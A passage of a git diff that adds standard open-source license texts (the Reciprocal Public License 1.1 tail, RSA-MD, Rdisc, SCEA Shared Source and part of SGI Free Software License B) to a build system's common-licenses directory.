+ 5.1 You expressly acknowledge and agree that although Licensor and each Contributor grants the licenses to their respective portions of the Licensed Software set forth herein, no assurances are provided by Licensor or any Contributor that the Licensed Software does not infringe the patent or other intellectual property rights of any other entity. Licensor and each Contributor disclaim any liability to You for claims brought by any other entity based on infringement of intellectual property rights or otherwise. As a condition to exercising the rights and licenses granted hereunder, You hereby assume sole responsibility to secure any other intellectual property rights needed, if any. For example, if a third party patent license is required to allow You to distribute the Licensed Software, it is Your responsibility to acquire that license before distributing the Licensed Software.
+
+6.0 Your Obligations And Grants. In consideration of, and as an express condition to, the licenses granted to You under this License You hereby agree that any Modifications, Derivative Works, or Required Components (collectively Extensions) that You create or to which You contribute are governed by the terms of this License including, without limitation, Section 4. Any Extensions that You create or to which You contribute must be Deployed under the terms of this License or a future version of this License released under Section 7. You hereby grant to Licensor and all third parties a world-wide, non-exclusive, royalty-free license under those intellectual property rights You own or control to use, reproduce, display, perform, modify, create derivatives, sublicense, and distribute Your Extensions, in any form. Any Extensions You make and Deploy must have a distinct title so as to readily tell any subsequent user or Contributor that the Extensions are by You. You must include a copy of this License with every copy of the Extensions You distribute. You agree not to offer or impose any terms on any Source Code or executable version of the Licensed Software, or its Extensions that alter or restrict the applicable version of this License or the recipients' rights hereunder.
+
+ 6.1 Availability of Source Code. You must make available, under the terms of this License, the Source Code of the Licensed Software and any Extensions that You Deploy, either on the same media as You distribute any executable or other form of the Licensed Software, or via an Electronic Distribution Mechanism. The Source Code for any version of Licensed Software, or its Extensions that You Deploy must be made available at the time of Deployment and must remain available for as long as You Deploy the Extensions or at least twelve (12) months after the date You Deploy, whichever is longer. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party. You may not charge a fee for the Source Code distributed under this Section in excess of Your actual cost of duplication and distribution where such duplication and distribution involve physical media.
+
+ 6.2 Description of Modifications. You must cause any Modifications that You create or to which You contribute, to update the file titled "CHANGES" distributed with Licensed Software documenting the additions, changes or deletions You made, the authors of such Modifications, and the dates of any such additions, changes or deletions. You must also cause a cross-reference to appear in the Source Code at the location of each change. You must include a prominent statement that the Modifications are derived, directly or indirectly, from the Licensed Software and include the names of the Licensor and any Contributor to the Licensed Software in (i) the Source Code and (ii) in any notice displayed by the Licensed Software You distribute or in related documentation in which You describe the origin or ownership of the Licensed Software. You may not modify or delete any pre-existing copyright notices, change notices or License text in the Licensed Software.
+
+ 6.3 Intellectual Property Matters.
+
+ a. Third Party Claims. If You have knowledge that a license to a third party's intellectual property right is required to exercise the rights granted by this License, You must include a text file with the Source Code distribution titled "LEGAL" that describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If You obtain such knowledge after You make any Extensions available as described in Section 6.1, You shall promptly modify the LEGAL file in all copies You make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Licensed Software from You that new knowledge has been obtained.
+
+ b. Contributor APIs. If Your Extensions include an application programming interface ("API") and You have knowledge of patent licenses that are reasonably necessary to implement that API, You must also include this information in the LEGAL file.
+
+ c. Representations. You represent that, except as disclosed pursuant to 6.3(a) above, You believe that any Extensions You distribute are Your original creations and that You have sufficient rights to grant the rights conveyed by this License.
+
+ 6.4 Required Notices.
+
+ a. License Text. You must duplicate this License in any documentation You provide along with the Source Code of any Extensions You create or to which You contribute, wherever You describe recipients' rights relating to Licensed Software. You must duplicate the notice contained in EXHIBIT A (the "Notice") in each file of the Source Code of any copy You distribute of the Licensed Software and Your Extensions. If You create an Extension, You may add Your name as a Contributor to the text file titled "CONTRIB" distributed with the Licensed Software along with a description of the contribution. If it is not possible to put the Notice in a particular Source Code file due to its structure, then You must include such Notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice.
+
+ b. Source Code Availability. You must notify Licensor within one (1) month of the date You initially Deploy of the availability of Source Code to Your Extensions and include in such notification the name under which you Deployed Your Extensions, a description of the Extensions, and instructions on how to acquire the Source Code, including instructions on how to acquire updates over time. Should such instructions change you must provide Licensor with revised instructions within one (1) month of the date of change. Should you be unable to notify Licensor directly, you must provide notification by posting to appropriate news groups, mailing lists, or web sites where a search engine would reasonably be expected to index them.
+
+ 6.5 Additional Terms. You may choose to offer, and charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Licensed Software. However, You may do so only on Your own behalf, and not on behalf of the Licensor or any Contributor. You must make it clear that any such warranty, support, indemnity or liability obligation is offered by You alone, and You hereby agree to indemnify the Licensor and every Contributor for any liability plus attorney fees, costs, and related expenses due to any such action or claim incurred by the Licensor or such Contributor as a result of warranty, support, indemnity or liability terms You offer.
+
+ 6.6 Conflicts With Other Licenses. Where any portion of Your Extensions, by virtue of being Derivative Works of another product or similar circumstance, fall under the terms of another license, the terms of that license should be honored however You must also make Your Extensions available under this License. If the terms of this License continue to conflict with the terms of the other license you may write the Licensor for permission to resolve the conflict in a fashion that remains consistent with the intent of this License. Such permission will be granted at the sole discretion of the Licensor.
+
+7.0 Versions of This License. Licensor may publish from time to time revised and/or new versions of the License. Once Licensed Software has been published under a particular version of the License, You may always continue to use it under the terms of that version. You may also choose to use such Licensed Software under the terms of any subsequent version of the License published by Licensor. No one other than Licensor has the right to modify the terms applicable to Licensed Software created under this License.
+
+ 7.1 If You create or use a modified version of this License, which You may do only in order to apply it to software that is not already Licensed Software under this License, You must rename Your license so that it is not confusingly similar to this License, and must make it clear that Your license contains terms that differ from this License. In so naming Your license, You may not use any trademark of Licensor or of any Contributor. Should Your modifications to this License be limited to alteration of EXHIBIT A purely for purposes of adjusting the Notice You require of licensees, You may continue to refer to Your License as the Reciprocal Public License or simply the RPL.
+
+8.0 Disclaimer of Warranty. LICENSED SOFTWARE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE LICENSED SOFTWARE IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. FURTHER THERE IS NO WARRANTY MADE AND ALL IMPLIED WARRANTIES ARE DISCLAIMED THAT THE LICENSED SOFTWARE MEETS OR COMPLIES WITH ANY DESCRIPTION OF PERFORMANCE OR OPERATION, SAID COMPATIBILITY AND SUITABILITY BEING YOUR RESPONSIBILITY. LICENSOR DISCLAIMS ANY WARRANTY, IMPLIED OR EXPRESSED, THAT ANY CONTRIBUTOR'S EXTENSIONS MEET ANY STANDARD OF COMPATIBILITY OR DESCRIPTION OF PERFORMANCE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LICENSED SOFTWARE IS WITH YOU. SHOULD LICENSED SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, YOU (AND NOT THE LICENSOR OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. UNDER THE TERMS OF THIS LICENSOR WILL NOT SUPPORT THIS SOFTWARE AND IS UNDER NO OBLIGATION TO ISSUE UPDATES TO THIS SOFTWARE. LICENSOR HAS NO KNOWLEDGE OF ERRANT CODE OR VIRUS IN THIS SOFTWARE, BUT DOES NOT WARRANT THAT THE SOFTWARE IS FREE FROM SUCH ERRORS OR VIRUSES. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF LICENSED SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+9.0 Limitation of Liability. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE LICENSOR, ANY CONTRIBUTOR, OR ANY DISTRIBUTOR OF LICENSED SOFTWARE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10.0 High Risk Activities. THE LICENSED SOFTWARE IS NOT FAULT-TOLERANT AND IS NOT DESIGNED, MANUFACTURED, OR INTENDED FOR USE OR DISTRIBUTION AS ON-LINE CONTROL EQUIPMENT IN HAZARDOUS ENVIRONMENTS REQUIRING FAIL-SAFE PERFORMANCE, SUCH AS IN THE OPERATION OF NUCLEAR FACILITIES, AIRCRAFT NAVIGATION OR COMMUNICATIONS SYSTEMS, AIR TRAFFIC CONTROL, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH THE FAILURE OF THE LICENSED SOFTWARE COULD LEAD DIRECTLY TO DEATH, PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH RISK ACTIVITIES"). LICENSOR AND CONTRIBUTORS SPECIFICALLY DISCLAIM ANY EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES.
+
+11.0 Responsibility for Claims. As between Licensor and Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License which specifically disclaims warranties and limits any liability of the Licensor. This paragraph is to be used in conjunction with and controlled by the Disclaimer Of Warranties of Section 8, the Limitation Of Damages in Section 9, and the disclaimer against use for High Risk Activities in Section 10. The Licensor has thereby disclaimed all warranties and limited any damages that it is or may be liable for. You agree to work with Licensor and Contributors to distribute such responsibility on an equitable basis consistent with the terms of this License including Sections 8, 9, and 10. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+12.0 Termination. This License and all rights granted hereunder will terminate immediately in the event of the circumstances described in Section 13.6 or if applicable law prohibits or restricts You from fully and or specifically complying with Sections 3, 4 and/or 6, or prevents the enforceability of any of those Sections, and You must immediately discontinue any use of Licensed Software.
+
+ 12.1 Automatic Termination Upon Breach. This License and the rights granted hereunder will terminate automatically if You fail to comply with the terms herein and fail to cure such breach within thirty (30) days of becoming aware of the breach. All sublicenses to the Licensed Software that are properly granted shall survive any termination of this License. Provisions that, by their nature, must remain in effect beyond the termination of this License, shall survive.
+
+ 12.2 Termination Upon Assertion of Patent Infringement. If You initiate litigation by asserting a patent infringement claim (excluding declaratory judgment actions) against Licensor or a Contributor (Licensor or Contributor against whom You file such an action is referred to herein as "Respondent") alleging that Licensed Software directly or indirectly infringes any patent, then any and all rights granted by such Respondent to You under Sections 3 or 4 of this License shall terminate prospectively upon sixty (60) days notice from Respondent (the "Notice Period") unless within that Notice Period You either agree in writing (i) to pay Respondent a mutually agreeable reasonably royalty for Your past or future use of Licensed Software made by such Respondent, or (ii) withdraw Your litigation claim with respect to Licensed Software against such Respondent. If within said Notice Period a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Licensor to You under Sections 3 and 4 automatically terminate at the expiration of said Notice Period.
+
+ 12.3 Reasonable Value of This License. If You assert a patent infringement claim against Respondent alleging that Licensed Software directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by said Respondent under Sections 3 and 4 shall be taken into account in determining the amount or value of any payment or license.
+
+ 12.4 No Retroactive Effect of Termination. In the event of termination under this Section all end user license agreements (excluding licenses to distributors and resellers) that have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+13.0 Miscellaneous.
+
+ 13.1 U.S. Government End Users. The Licensed Software is a "commercial item," as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer software" and "commercial computer software documentation," as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Licensed Software with only those rights set forth herein.
+
+ 13.2 Relationship of Parties. This License will not be construed as creating an agency, partnership, joint venture, or any other form of legal association between or among You, Licensor, or any Contributor, and You will not represent to the contrary, whether expressly, by implication, appearance, or otherwise.
+
+ 13.3 Independent Development. Nothing in this License will impair Licensor's right to acquire, license, develop, subcontract, market, or distribute technology or products that perform the same or similar functions as, or otherwise compete with, Extensions that You may develop, produce, market, or distribute.
+
+ 13.4 Consent To Breach Not Waiver. Failure by Licensor or Contributor to enforce any provision of this License will not be deemed a waiver of future enforcement of that or any other provision.
+
+ 13.5 Severability. This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+
+ 13.6 Inability to Comply Due to Statute or Regulation. If it is impossible for You to comply with any of the terms of this License with respect to some or all of the Licensed Software due to statute, judicial order, or regulation, then You cannot use, modify, or distribute the software.
+
+ 13.7 Export Restrictions. You may be restricted with respect to downloading or otherwise acquiring, exporting, or reexporting the Licensed Software or any underlying information or technology by United States and other applicable laws and regulations. By downloading or by otherwise obtaining the Licensed Software, You are agreeing to be responsible for compliance with all applicable laws and regulations.
+
+ 13.8 Arbitration, Jurisdiction & Venue. This License shall be governed by Colorado law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. You expressly agree that any dispute relating to this License shall be submitted to binding arbitration under the rules then prevailing of the American Arbitration Association. You further agree that Adams County, Colorado USA is proper venue and grant such arbitration proceeding jurisdiction as may be appropriate for purposes of resolving any dispute under this License. Judgement upon any award made in arbitration may be entered and enforced in any court of competent jurisdiction. The arbitrator shall award attorney's fees and costs of arbitration to the prevailing party. Should either party find it necessary to enforce its arbitration award or seek specific performance of such award in a civil court of competent jurisdiction, the prevailing party shall be entitled to reasonable attorney's fees and costs. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. You and Licensor expressly waive any rights to a jury trial in any litigation concerning Licensed Software or this License. Any law or regulation that provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+ 13.9 Entire Agreement. This License constitutes the entire agreement between the parties with respect to the subject matter hereof.
+
+EXHIBIT A
+
+The Notice below must appear in each file of the Source Code of any copy You distribute of the Licensed Software or any Extensions thereto, except as may be modified as allowed under the terms of Section 7.1
+Copyright (C) 1999-2002 Technical Pursuit Inc., All Rights Reserved. Patent Pending, Technical Pursuit Inc.
+
+Unless explicitly acquired and licensed from Licensor under the Technical Pursuit License ("TPL") Version 1.0 or greater, the contents of this file are subject to the Reciprocal Public License ("RPL") Version 1.1, or subsequent versions as allowed by the RPL, and You may not copy or use this file in either source code or executable form, except in compliance with the terms and conditions of the RPL.
+You may obtain a copy of both the TPL and the RPL (the "Licenses") from Technical Pursuit Inc. at http://www.technicalpursuit.com.
+
+All software distributed under the Licenses is provided strictly on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, AND TECHNICAL PURSUIT INC. HEREBY DISCLAIMS ALL SUCH WARRANTIES, INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT, OR NON-INFRINGEMENT. See the Licenses for specific language governing rights and limitations under the Licenses.
diff --git a/meta/files/common-licenses/RSA-MD b/meta/files/common-licenses/RSA-MD
new file mode 100644
index 0000000000..a8be92883f
--- /dev/null
+++ b/meta/files/common-licenses/RSA-MD
@@ -0,0 +1,9 @@
+Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All rights reserved.
+
+License to copy and use this software is granted provided that it is identified as the "RSA Data Security, Inc. MD5 Message-Digest Algorithm" in all material mentioning or referencing this software or this function.
+
+License is also granted to make and use derivative works provided that such works are identified as "derived from the RSA Data Security, Inc. MD5 Message-Digest Algorithm" in all material mentioning or referencing the derived work.
+
+RSA Data Security, Inc. makes no representations concerning either the merchantability of this software or the suitability of this software for any particular purpose. It is provided "as is" without express or implied warranty of any kind.
+
+These notices must be retained in any copies of any part of this documentation and/or software.
diff --git a/meta/files/common-licenses/Rdisc b/meta/files/common-licenses/Rdisc
new file mode 100644
index 0000000000..04104beca8
--- /dev/null
+++ b/meta/files/common-licenses/Rdisc
@@ -0,0 +1,13 @@
+Rdisc (this program) was developed by Sun Microsystems, Inc. and is provided for unrestricted use provided that this legend is included on all tape media and as a part of the software program in whole or part. Users may copy or modify Rdisc without charge, and they may freely distribute it.
+
+RDISC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
+
+Rdisc is provided with no support and without any obligation on the part of Sun Microsystems, Inc. to assist in its use, correction, modification or enhancement.
+
+SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY RDISC OR ANY PART THEREOF.
+
+In no event will Sun Microsystems, Inc. be liable for any lost revenue or profits or other special, indirect and consequential damages, even if Sun has been advised of the possibility of such damages.
+
+Sun Microsystems, Inc.
+2550 Garcia Avenue
+Mountain View, California 94043
diff --git a/meta/files/common-licenses/SCEA b/meta/files/common-licenses/SCEA
new file mode 100644
index 0000000000..48892757e9
--- /dev/null
+++ b/meta/files/common-licenses/SCEA
@@ -0,0 +1,60 @@
+SCEA Shared Source License 1.0
+
+Terms and Conditions:
+
+1. Definitions:
+
+"Software" shall mean the software and related documentation, whether in Source or Object Form, made available under this SCEA Shared Source license ("License"), that is indicated by a copyright notice file included in the source files or attached or accompanying the source files.
+
+"Licensor" shall mean Sony Computer Entertainment America, Inc. (herein "SCEA")
+
+"Object Code" or "Object Form" shall mean any form that results from translation or transformation of Source Code, including but not limited to compiled object code or conversions to other forms intended for machine execution.
+"Source Code" or "Source Form" shall have the plain meaning generally accepted in the software industry, including but not limited to software source code, documentation source, header and configuration files.
+
+"You" or "Your" shall mean you as an individual or as a company, or whichever form under which you are exercising rights under this License.
+
+2. License Grant.
+
+Licensor hereby grants to You, free of charge subject to the terms and conditions of this License, an irrevocable, non-exclusive, worldwide, perpetual, and royalty-free license to use, modify, reproduce, distribute, publicly perform or display the Software in Object or Source Form .
+
+3. No Right to File for Patent.
+In exchange for the rights that are granted to You free of charge under this License, You agree that You will not file for any patent application, seek copyright protection or take any other action that might otherwise impair the ownership rights in and to the Software that may belong to SCEA or any of the other contributors/authors of the Software.
+
+4. Contributions.
+
+SCEA welcomes contributions in form of modifications, optimizations, tools or documentation designed to improve or expand the performance and scope of the Software (collectively "Contributions"). Per the terms of this License You are free to modify the Software and those modifications would belong to You. You may however wish to donate Your Contributions to SCEA for consideration for inclusion into the Software. For the avoidance of doubt, if You elect to send Your Contributions to SCEA, You are doing so voluntarily and are giving the Contributions to SCEA and its parent company Sony Computer Entertainment, Inc., free of charge, to use, modify or distribute in any form or in any manner. SCEA acknowledges that if You make a donation of Your Contributions to SCEA, such Contributions shall not exclusively belong to SCEA or its parent company and such donation shall not be to Your exclusion. SCEA, in its sole discretion, shall determine whether or not to include Your donated Contributions into the Software, in whole, in part, or as modified by SCEA. Should SCEA elect to include any such Contributions into the Software, it shall do so at its own risk and may elect to give credit or special thanks to any such contributors in the attached copyright notice. However, if any of Your contributions are included into the Software, they will become part of the Software and will be distributed under the terms and conditions of this License. Further, if Your donated Contributions are integrated into the Software then Sony Computer Entertainment, Inc. shall become the copyright owner of the Software now containing Your contributions and SCEA would be the Licensor.
+
+5. Redistribution in Source Form
+
+You may redistribute copies of the Software, modifications or derivatives thereof in Source Code Form, provided that You:
+
+ a. Include a copy of this License and any copyright notices with source
+
+ b. Identify modifications if any were made to the Software
+
+ c. Include a copy of all documentation accompanying the Software and modifications made by You
+
+6. Redistribution in Object Form
+
+If You redistribute copies of the Software, modifications or derivatives thereof in Object Form only (as incorporated into finished goods, i.e. end user applications) then You will not have a duty to include any copies of the code, this License, copyright notices, other attributions or documentation.
+
+7. No Warranty
+
+THE SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT ANY REPRESENTATIONS OR WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE. YOU ARE SOLELY RESPONSIBLE FOR DETERMINING THE APPROPRIATENESS OF USING, MODIFYING OR REDISTRIBUTING THE SOFTWARE AND ASSUME ANY RISKS ASSOCIATED WITH YOUR EXERCISE OF PERMISSIONS UNDER THIS LICENSE.
+
+8. Limitation of Liability
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY WILL EITHER PARTY BE LIABLE TO THE OTHER PARTY OR ANY THIRD PARTY FOR ANY DIRECT, INDIRECT, CONSEQUENTIAL, SPECIAL, INCIDENTAL, OR EXEMPLARY DAMAGES WITH RESPECT TO ANY INJURY, LOSS, OR DAMAGE, ARISING UNDER OR IN CONNECTION WITH THIS LETTER AGREEMENT, WHETHER FORESEEABLE OR UNFORESEEABLE, EVEN IF SUCH PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH INJURY, LOSS, OR DAMAGE. THE LIMITATIONS OF LIABILITY SET FORTH IN THIS SECTION SHALL APPLY TO THE FULLEST EXTENT PERMISSIBLE AT LAW OR ANY GOVERMENTAL REGULATIONS.
+
+9. Governing Law and Consent to Jurisdiction
+
+This Agreement shall be governed by and interpreted in accordance with the laws of the State of California, excluding that body of law related to choice of laws, and of the United States of America. Any action or proceeding brought to enforce the terms of this Agreement or to adjudicate any dispute arising hereunder shall be brought in the Superior Court of the County of San Mateo, State of California or the United States District Court for the Northern District of California. Each of the parties hereby submits itself to the exclusive jurisdiction and venue of such courts for purposes of any such action. In addition, each party hereby waives the right to a jury trial in any action or proceeding related to this Agreement.
+
+10. Copyright Notice for Redistribution of Source Code
+
+Copyright 2005 Sony Computer Entertainment Inc.
+
+Licensed under the SCEA Shared Source License, Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at:
+http://research.scea.com/scea_shared_source_license.html
+
+Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
diff --git a/meta/files/common-licenses/SGI-B-1.0 b/meta/files/common-licenses/SGI-B-1.0
new file mode 100644
index 0000000000..0c0fcce29a
--- /dev/null
+++ b/meta/files/common-licenses/SGI-B-1.0
@@ -0,0 +1,82 @@
+SGI FREE SOFTWARE LICENSE B
+(Version 1.0 1/25/2000)
+
+1. Definitions.
+
+ 1.1 "Additional Notice Provisions" means such additional provisions as appear in the Notice in Original Code under the heading "Additional Notice Provisions."
+
+ 1.2 "API" means an application programming interface established by SGI in conjunction with the Original Code.
+
+ 1.3 "Covered Code" means the Original Code or Modifications or the combination of the Original Code and Modifications, in each case including portions thereof.
+
+ 1.4 "Hardware" means any physical device that accepts input, processes input, stores the results of processing, and/or provides output.
+
+ 1.5 "Larger Work" means a work which combines Covered Code or portions thereof with code not governed by the terms of this License.
+
+ 1.6 "Licensable" means having the right to grant, to the maximum extent possible, whether at the time of the initial grant or subsequently acquired, any and all of the rights conveyed herein.
+
+ 1.7 "License" means this document.
+
+ 1.8 "Modifications" means any addition to the substance or structure of the Original Code and/or any addition to or deletion from previous Modifications. When Covered Code is released as a series of files, a Modification is:
+
+ A. Any addition to the contents of a file containing Original Code and/or any addition to or deletion from previous Modifications.
+
+ B. Any new file that contains any part of the Original Code or previous Modifications.
+
+ 1.9 "Notice" means any notice in Original Code or Covered Code, as required by and in compliance with this License.
+
+ 1.10 "Original Code" means source code of computer software code which is described in the source code Notice required by Exhibit A as Original Code, and updates and error corrections specifically thereto.
+
+ 1.11 "Recipient" means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a future version of this License issued under Section 8. For legal entities, "Recipient" includes any entity which controls, is controlled by, or is under common control with Recipient. For purposes of this definition, "control" of an entity means (a) the power, direct or indirect, to direct or manage such entity, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+ 1.12 SGI" means Silicon Graphics, Inc.
+
+2. License Grant and Restrictions.
+
+ 2.1v License Grant. Subject to the provisions of this License and any third party intellectual property claims, for the duration of intellectual property protections inherent in the Original Code, SGI hereby grants Recipient a worldwide, royalty-free, non-exclusive license, to do the following: (i) under copyrights Licensable by SGI, to reproduce, distribute, create derivative works from, and, to the extent applicable, display and perform the Original Code alone and/or as part of a Larger Work; and (ii) under any patent claims Licensable by SGI and embodied in the Original Code, to make, have made, use, practice, sell, and offer for sale, and/or otherwise dispose of the Original Code. Recipient accepts the terms and conditions of this License by undertaking any of the aforementioned actions.
+
+ 2.2 Restriction on Patent License. Notwithstanding the provisions of Section 2.1(ii), no patent license is granted: 1) separate from the Original Code; nor 2) for infringements caused by (i) modification of the Original Code, or (ii) the combination of the Original Code with other software or Hardware.
+
+ 2.3 No License For Hardware Implementations. The licenses granted in Section 2.1 are not applicable to implementation in Hardware of the algorithms embodied in the Original Code.
+
+ 2.4 Modifications License and API Compliance. Modifications are only licensed under Section 2.1(i) to the extent such Modifications are fully compliant with any API as may be identified in Additional Notice Provisions as appear in the Original Code.
+
+3. Redistributions.
+
+ A. Retention of Notice/Copy of License. The Notice set forth in Exhibit A, below, must be conspicuously retained or included in any and all redistributions of Covered Code. For distributions of the Covered Code in source code form, the Notice must appear in every file that can include a text comments field; in executable form, the Notice and a copy of this License must appear in related documentation or collateral where the Recipient’s rights relating to Covered Code are described. Any Additional Notice Provisions which actually appears in the Original Code must also be retained or included in any and all redistributions of Covered Code.
+
+ B. Alternative License. Provided that Recipient is in compliance with the terms of this License, Recipient may distribute the source code and/or executable version(s) of Covered Code under (1) this License; (2) a license identical to this License but for only such changes as are necessary in order to clarify Recipient’s role as licensor of Modifications, without derogation of any of SGI’s rights; and/or (3) a license of Recipient’s choosing, containing terms different from this License, provided that the license terms include this Section 3 and Sections 4, 6, 7, 10, 12, and 13, which terms may not be modified or superseded by any other terms of such license. If Recipient elects to use any license other than this License, Recipient must make it absolutely clear that any of its terms which differ from this License are offered by Recipient alone, and not by SGI.
+
+ C. Indemnity. Recipient hereby agrees to indemnify SGI for any liability incurred by SGI as a result of any such alternative license terms Recipient offers.
+
+4. Termination. This License and the rights granted hereunder will terminate automatically if Recipient breaches any term herein and fails to cure such breach within 30 days thereof. Any sublicense to the Covered Code that is properly granted shall survive any termination of this License, absent termination by the terms of such sublicense. Provisions that, by their nature, must remain in effect beyond the termination of this License, shall survive.
+
+5. No Trademark Or Other Rights. This License does not grant any rights to: (i) any software apart from the Covered Code, nor shall any other rights or licenses not expressly granted hereunder arise by implication, estoppel or otherwise with respect to the Covered Code; (ii) any trade name, trademark or service mark whatsoever, including without limitation any related right for purposes of endorsement or promotion of products derived from the Covered Code, without prior written permission of SGI; or (iii) any title to or ownership of the Original Code, which shall at all times remains with SGI. All rights in the Original Code not expressly granted under this License are reserved.
+
+6. Compliance with Laws; Non-Infringement. Recipient hereby assures that it shall comply with all applicable laws, regulations, and executive orders, in connection with any and all dispositions of Covered Code, including but not limited to, all export, re-export, and import control laws, regulations, and executive orders, of the U.S. government and other countries. Recipient may not distribute Covered Code that (i) in any way infringes (directly or contributorily) the rights (including patent, copyright, trade secret, trademark or other intellectual property rights of any kind) of any other person or entity or (ii) breaches any representation or warranty, express, implied or statutory, to which, under any applicable law, it might be deemed to have been subject.
+
+7. Claims of Infringement. If Recipient learns of any third party claim that any disposition of Covered Code and/or functionality wholly or partially infringes the third party's intellectual property rights, Recipient will promptly notify SGI of such claim.
+
+8. Versions of the License. SGI may publish revised and/or new versions of the License from time to time, each with a distinguishing version number. Once Covered Code has been published under a particular version of the License, Recipient may, for the duration of the license, continue to use it under the terms of that version, or choose to use such Covered Code under the terms of any subsequent version published by SGI. Subject to the provisions of Sections 3 and 4 of this License, only SGI may modify the terms applicable to Covered Code created under this License.
+
+9. DISCLAIMER OF WARRANTY. COVERED CODE IS PROVIDED "AS IS." ALL EXPRESS AND IMPLIED WARRANTIES AND CONDITIONS ARE DISCLAIMED, INCLUDING, WITHOUT LIMITATION, ANY IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. SGI ASSUMES NO RISK AS TO THE QUALITY AND PERFORMANCE OF THE SOFTWARE. SHOULD THE SOFTWARE PROVE DEFECTIVE IN ANY RESPECT, SGI ASSUMES NO COST OR LIABILITY FOR SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY IS AN ESSENTIAL PART OF THIS LICENSE. NO USE OF ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT SUBJECT TO THIS DISCLAIMER.
+
